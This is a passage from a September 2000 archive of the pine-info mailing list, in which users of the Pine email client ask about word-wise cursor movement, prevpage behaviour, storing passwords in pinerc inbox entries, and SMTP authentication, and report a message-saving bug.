	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA59418
	for <pine-info@lists.u.washington.edu>; Mon, 11 Sep 2000 12:01:49 -0700
Received: from mercury.wntck1.sfba.home.com (c62023-a.wntck1.sfba.home.com [24.5.214.41])
	by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA13716
	for <pine-info@u.washington.edu>; Mon, 11 Sep 2000 12:01:48 -0700
Received: from localhost (chris@localhost)
	by mercury.wntck1.sfba.home.com (8.9.3/8.8.7) with ESMTP id MAA14921
	for <pine-info@u.washington.edu>; Mon, 11 Sep 2000 12:01:49 -0700
Message-Id: <Pine.LNX.4.21.0009111200050.14913-100000@mercury.wntck1.sfba.home.com>
Date: Mon, 11 Sep 2000 12:01:49 -0700 (PDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: chris@c62023-a.wntck1.sfba.home.com
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Backspace word at a time
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Sender: chris@mercury.wntck1.sfba.home.com
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN


Hello,

Is there a way to add key commands to allow Pine to backspace and forward
space a word at a time like the bashshell ESC-B and ESC-F?

Thanks alot!!



                         
                         
                         

-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Mon, 11 Sep 2000 12:12:16 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA14912;
	Mon, 11 Sep 2000 12:12:15 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA05042;
	Mon, 11 Sep 2000 12:12:14 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA08351;
	Mon, 11 Sep 2000 12:11:29 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA59418
	for <pine-info@lists.u.washington.edu>; Mon, 11 Sep 2000 12:10:10 -0700
Received: from moshpit.cygnus.com (moshpit.cygnus.com [203.24.38.233])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA07108
	for <pine-info@u.washington.edu>; Mon, 11 Sep 2000 12:10:09 -0700
Received: from localhost (bje@localhost)
	by moshpit.cygnus.com (8.10.2/8.10.2) with ESMTP id e8BJ9vm32340
	for <pine-info@u.washington.edu>; Tue, 12 Sep 2000 06:09:57 +1100
Message-Id: <Pine.LNX.4.21.0009120609050.32332-100000@moshpit.cygnus.com>
Date: Tue, 12 Sep 2000 06:09:57 +1100 (EST)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Ben Elliston <bje@redhat.com>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: Backspace word at a time
In-Reply-To: <Pine.LNX.4.21.0009111200050.14913-100000@mercury.wntck1.sfba.home.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-Authentication-Warning: moshpit.cygnus.com: bje owned process doing -bs
X-Sender: bje@moshpit.cygnus.com
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

   Is there a way to add key commands to allow Pine to backspace and
   forward space a word at a time like the bashshell ESC-B and ESC-F?

You can go forward with <Ctrl-Space>. I was disappointed that I couldn't
find a way to go backward.

Ben


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 12 Sep 2000 12:46:46 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA24699;
	Tue, 12 Sep 2000 12:46:45 -0700 (PDT)
Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA11040;
	Tue, 12 Sep 2000 12:46:44 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA18224;
	Tue, 12 Sep 2000 12:45:36 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA96230
	for <pine-info@lists.u.washington.edu>; Tue, 12 Sep 2000 12:43:53 -0700
Received: from Morgoth.esiway.net (Morgoth.esiway.net [193.194.16.157])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA28533
	for <pine-info@u.washington.edu>; Tue, 12 Sep 2000 12:43:50 -0700
Received: from elendil.esi (Ghost.esi.it [193.194.16.35])
	by Morgoth.esiway.net (8.9.3/8.9.3) with ESMTP id VAA05001;
	Tue, 12 Sep 2000 21:43:48 +0200
Received: from Megathlon.ESI (IDENT:marco@Megathlon.ESI [10.10.10.36])
	by elendil.esi (8.9.1a/8.9.1) with ESMTP id VAA20240;
	Tue, 12 Sep 2000 21:43:47 +0200 (MET DST)
Message-Id: <Pine.LNX.4.21.0009122135090.30362-100000@Megathlon.ESI>
Date: Tue, 12 Sep 2000 21:43:47 +0200 (CEST)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Marco Colombo <marco@esi.it>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: Pine authentication for Relayd (fwd)
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Eduardo Chappa <chappa@math.washington.edu>
X-Cc: pine-info@u.washington.edu
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

I'm not sure if this is related, but see:

http://www.sendmail.org/~ca/email/chk-rcpt5.html#POP

that 'check mail first' seems to suggest a POP-before-SMTP schema...


I'm new to the list, and I'm really interested in Pine capability to use
encrypted STMP and IMAP connections, as reported in:

http://www.sendmail.org/~ca/email/mel/SASL_ClientRef.html

but I can't find any info on this (I've searched list archives, and found
something about SSL patches, but with no pointers). FAQs and help say
nothing about STMP authentication (unless I'm missing something).

I'm using PINE 4.21 distributed by RedHat in RHL6.2 (pine-4.21-8).

TIA,

.TM.
-- 
      ____/  ____/   /
     /      /       /			Marco Colombo
    ___/  ___  /   /		      Technical Manager
   /          /   /			 ESI s.r.l.
 _____/ _____/  _/		       Colombo@ESI.it



From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 13 Sep 2000 01:52:08 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA03913;
	Wed, 13 Sep 2000 01:52:07 -0700 (PDT)
Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA18722;
	Wed, 13 Sep 2000 01:52:06 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id BAA11498;
	Wed, 13 Sep 2000 01:49:45 -0700
Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id BAA42898;
	Wed, 13 Sep 2000 01:48:18 -0700
Received: from pandora.worldonline.nl (pandora.worldonline.nl [195.241.48.140])
	by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA14477;
	Wed, 13 Sep 2000 01:48:17 -0700
Received: from shell.worldonline.nl (shell.worldonline.nl [194.151.128.14])
	by pandora.worldonline.nl (Postfix) with SMTP
	id 5D86D36BAF; Wed, 13 Sep 2000 10:49:30 +0200 (MET DST)
Message-Id: <Pine.SOL.3.96.1000913104544.7384B-100000@shell.worldonline.nl>
Date: Wed, 13 Sep 2000 10:48:16 +0200 (MET DST)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Bruce Cohen <cohenb@worldonline.nl>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: more message to save shrank
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>,
        pine-bugs@cac.washington.edu, PINE-INFO-owner@u.washington.edu,
        pine@cac.washington.edu
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

Just noticed another side effect of the message to save shrank problem.
Once a message has finally made it from INBOX to mbox - sometimes the
first line of the message apparently disappears. You have to turn full
headers on to see it - so it is now part of the header!

Bruce Cohen



-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 13 Sep 2000 10:19:33 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA04691;
	Wed, 13 Sep 2000 10:19:32 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA31616;
	Wed, 13 Sep 2000 10:19:32 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA11649;
	Wed, 13 Sep 2000 10:17:57 -0700
Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA169590
	for <pine-info@lists.u.washington.edu>; Wed, 13 Sep 2000 10:16:42 -0700
Received: from fish.la.asu.edu (fish.la.asu.edu [129.219.45.155])
	by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA03994
	for <pine-info@u.washington.edu>; Wed, 13 Sep 2000 10:16:41 -0700
Received: from localhost (peter@localhost) by fish.la.asu.edu with SMTP (8.7.1/8.7.1) id KAA07521 for <pine-info@u.washington.edu>; Wed, 13 Sep 2000 10:18:04 -0700 (MST)
Message-Id: <Pine.HPP.3.96.1000913101146.7511A-100000@fish.la.asu.edu>
Date: Wed, 13 Sep 2000 10:18:01 -0700 (MST)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Peter <peter@fish.la.asu.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: prevpage question
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

G'day folks

I noticed that sometime between pine 3.96 and 4.21 the prevpage command
"-" changed in as much as previously it always took you to the top of the
previous page, whereas now it takes you to the bottom of the previous
page.  I've searched the u.wash pine website and the archives for this
list but couldn't find anything regarding that command.  Can we set it's
behaviour ourselves or is it not configurable? 

Thanks
Peter J Unmack                             peter.unmack@asu.edu
---------------------------------------------------------------
DESERT FISHES RULE: To boldly thrive where no other fish can make it!

Desert Springs Action Committee at http://www.tkphotos.com/dsac/
Desert Fishes Council http://www.utexas.edu/depts/tnhc/.www/fish/dfc
Australian Desert Fishes as above just add australi or click on Australia
Australian Freshwater Fish Biogeography at http://fish.la.asu.edu/biogeog
North American Native Fishes Association at http://www.nanfa.org
Native Fish Australia at http://www.nativefish.asn.au
Aquatic Conservation Network at http://www.acn.ca

"The biggest cause of trouble in the world today is that the stupid
people are so sure about things and the intelligent folks are so full
of doubts."                                          -Betrand Russell




-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 13 Sep 2000 10:29:18 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA22799;
	Wed, 13 Sep 2000 10:29:16 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA31981;
	Wed, 13 Sep 2000 10:29:12 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA12373;
	Wed, 13 Sep 2000 10:28:23 -0700
Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA119410
	for <pine-info@lists.u.washington.edu>; Wed, 13 Sep 2000 10:27:24 -0700
Received: from usceast.cs.sc.edu (usceast.cs.sc.edu [129.252.11.9])
	by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA04823
	for <pine-info@u.washington.edu>; Wed, 13 Sep 2000 10:27:23 -0700
Received: from opal.cs.sc.edu (opal.cs.sc.edu [129.252.130.42])
	by usceast.cs.sc.edu (8.9.3/8.9.3) with ESMTP id NAA27935
	for <pine-info@u.washington.edu>; Wed, 13 Sep 2000 13:27:16 -0400 (EDT)
Received: from localhost (gopalan@localhost)
	by opal.cs.sc.edu (8.9.3/8.9.3) with ESMTP id NAA10949
	for <pine-info@u.washington.edu>; Wed, 13 Sep 2000 13:27:16 -0400 (EDT)
Message-Id: <Pine.OSF.4.21.0009131326110.10906-100000@opal.cs.sc.edu>
Date: Wed, 13 Sep 2000 13:27:15 -0400 (EDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Gopi Sundaram <gopalan@cs.sc.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: prevpage question
In-Reply-To: <Pine.HPP.3.96.1000913101146.7511A-100000@fish.la.asu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-Authentication-Warning: opal.cs.sc.edu: gopalan owned process doing -bs
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On Wed, 13 Sep 2000, Peter wrote:

> I noticed that sometime between pine 3.96 and 4.21 the prevpage
> command "-" changed in as much as previously it always took you to
> the top of the previous page, whereas now it takes you to the
> bottom of the previous page.

In what screen?

I tried it in the addressbook screen, and sure enough, it took me to
the top of the screen when I pressed '-'.

Gopi.

-- 
Gopi Sundaram
gopi@cs.sc.edu


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 13 Sep 2000 10:56:31 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA14103;
	Wed, 13 Sep 2000 10:56:30 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA00412;
	Wed, 13 Sep 2000 10:56:29 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA25527;
	Wed, 13 Sep 2000 10:55:34 -0700
Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA35954
	for <pine-info@lists.u.washington.edu>; Wed, 13 Sep 2000 10:54:03 -0700
Received: from fish.la.asu.edu (fish.la.asu.edu [129.219.45.155])
	by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA01073
	for <pine-info@u.washington.edu>; Wed, 13 Sep 2000 10:54:03 -0700
Received: from localhost (peter@localhost) by fish.la.asu.edu with SMTP (8.7.1/8.7.1) id KAA07621 for <pine-info@u.washington.edu>; Wed, 13 Sep 2000 10:55:24 -0700 (MST)
Message-Id: <Pine.HPP.3.96.1000913104926.7615B-100000@fish.la.asu.edu>
Date: Wed, 13 Sep 2000 10:55:24 -0700 (MST)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Peter <peter@fish.la.asu.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: prevpage question
In-Reply-To: <Pine.OSF.4.21.0009131326110.10906-100000@opal.cs.sc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On Wed, 13 Sep 2000, Gopi Sundaram wrote:
> On Wed, 13 Sep 2000, Peter wrote:
> 
> > I noticed that sometime between pine 3.96 and 4.21 the prevpage
> > command "-" changed in as much as previously it always took you to
> > the top of the previous page, whereas now it takes you to the
> > bottom of the previous page.
> 
> In what screen?
 
Good point, sorry forgot to mention that part.  It is the folder list
screen only that it behaves this way.  Presumably this is an accidental
bug introduced?

Cheers
Peter Unmack


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 14 Sep 2000 06:33:42 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA03470;
	Thu, 14 Sep 2000 06:33:40 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA06442;
	Thu, 14 Sep 2000 06:33:40 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id GAA16670;
	Thu, 14 Sep 2000 06:33:04 -0700
Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id GAA61872
	for <pine-info@lists.u.washington.edu>; Thu, 14 Sep 2000 06:31:41 -0700
Received: from ns.shellworld.net (IDENT:root@ns.shellworld.net [64.29.16.176])
	by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA27102
	for <pine-info@u.washington.edu>; Thu, 14 Sep 2000 06:31:40 -0700
Received: from localhost (ka3agm@localhost)
	by ns.shellworld.net (8.9.3/8.9.3) with ESMTP id JAA23533
	for <pine-info@u.washington.edu>; Thu, 14 Sep 2000 09:31:34 -0400
Message-Id: <Pine.LNX.4.21.0009140929040.23428-100000@ns.shellworld.net>
Date: Thu, 14 Sep 2000 09:31:34 -0400 (EDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Walt Smith <ka3agm@ns.shellworld.net>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Syntqax for inbox entries in pinerc or .pinerc files
In-Reply-To: <61A60D883863D411A36600D0B785B50CC181D7@susdayte51.daytonoh.ncr.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

Is there any way to include the password in these entries so as to avoid
having to type them in when I want to access a remote mailbox?  For
example, take the following and tell me how/where to include a password:

{mail.myisp.com/pop3/user=myaccount}inbox

Thanks.

-- 
Walt Smith - Raleigh, NC
ka3agm@ns.shellworld.net

-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 14 Sep 2000 06:35:29 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA00781;
	Thu, 14 Sep 2000 06:35:28 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA27085;
	Thu, 14 Sep 2000 06:35:28 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id GAA16783;
	Thu, 14 Sep 2000 06:35:01 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id GAA59422
	for <pine-info@lists.u.washington.edu>; Thu, 14 Sep 2000 06:34:26 -0700
Received: from ns.shellworld.net (IDENT:root@ns.shellworld.net [64.29.16.176])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA30645
	for <pine-info@u.washington.edu>; Thu, 14 Sep 2000 06:34:25 -0700
Received: from localhost (ka3agm@localhost)
	by ns.shellworld.net (8.9.3/8.9.3) with ESMTP id JAA23572;
	Thu, 14 Sep 2000 09:34:22 -0400
Message-Id: <Pine.LNX.4.21.0009140932210.23428-100000@ns.shellworld.net>
Date: Thu, 14 Sep 2000 09:34:22 -0400 (EDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Walt Smith <ka3agm@ns.shellworld.net>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: Backspace word at a time
In-Reply-To: <Pine.LNX.4.21.0009111200050.14913-100000@mercury.wntck1.sfba.home.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: chris@c62023-a.wntck1.sfba.home.com
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

These controls are not Pine-dependent, but are really emulator-specific.  
I don't know if it's possible to remap emulator keystrokes in your setup,
but this is about the only way you'll accomplish what you want.

-- 
Walt Smith - Raleigh, NC
ka3agm@ns.shellworld.net


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 14 Sep 2000 10:40:41 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA07624;
	Thu, 14 Sep 2000 10:40:39 -0700 (PDT)
Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA02191;
	Thu, 14 Sep 2000 10:40:39 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA10133;
	Thu, 14 Sep 2000 10:38:39 -0700
Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA32610
	for <pine-info@lists.u.washington.edu>; Thu, 14 Sep 2000 10:34:03 -0700
Received: from euler.math.washington.edu (euler.math.washington.edu [128.95.224.1])
	by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA25636
	for <pine-info@u.washington.edu>; Thu, 14 Sep 2000 10:34:03 -0700
Received: from goedel1.math.washington.edu (goedel1.math.washington.edu [128.95.224.10])
	by euler.math.washington.edu (8.9.3/8.9.3) with ESMTP id KAA34435;
	Thu, 14 Sep 2000 10:32:55 -0700 (PDT)
Message-Id: <Pine.OSF.4.21.0009141027210.17887-100000@goedel1.math.washington.edu>
Date: Thu, 14 Sep 2000 10:34:01 -0700 (PDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
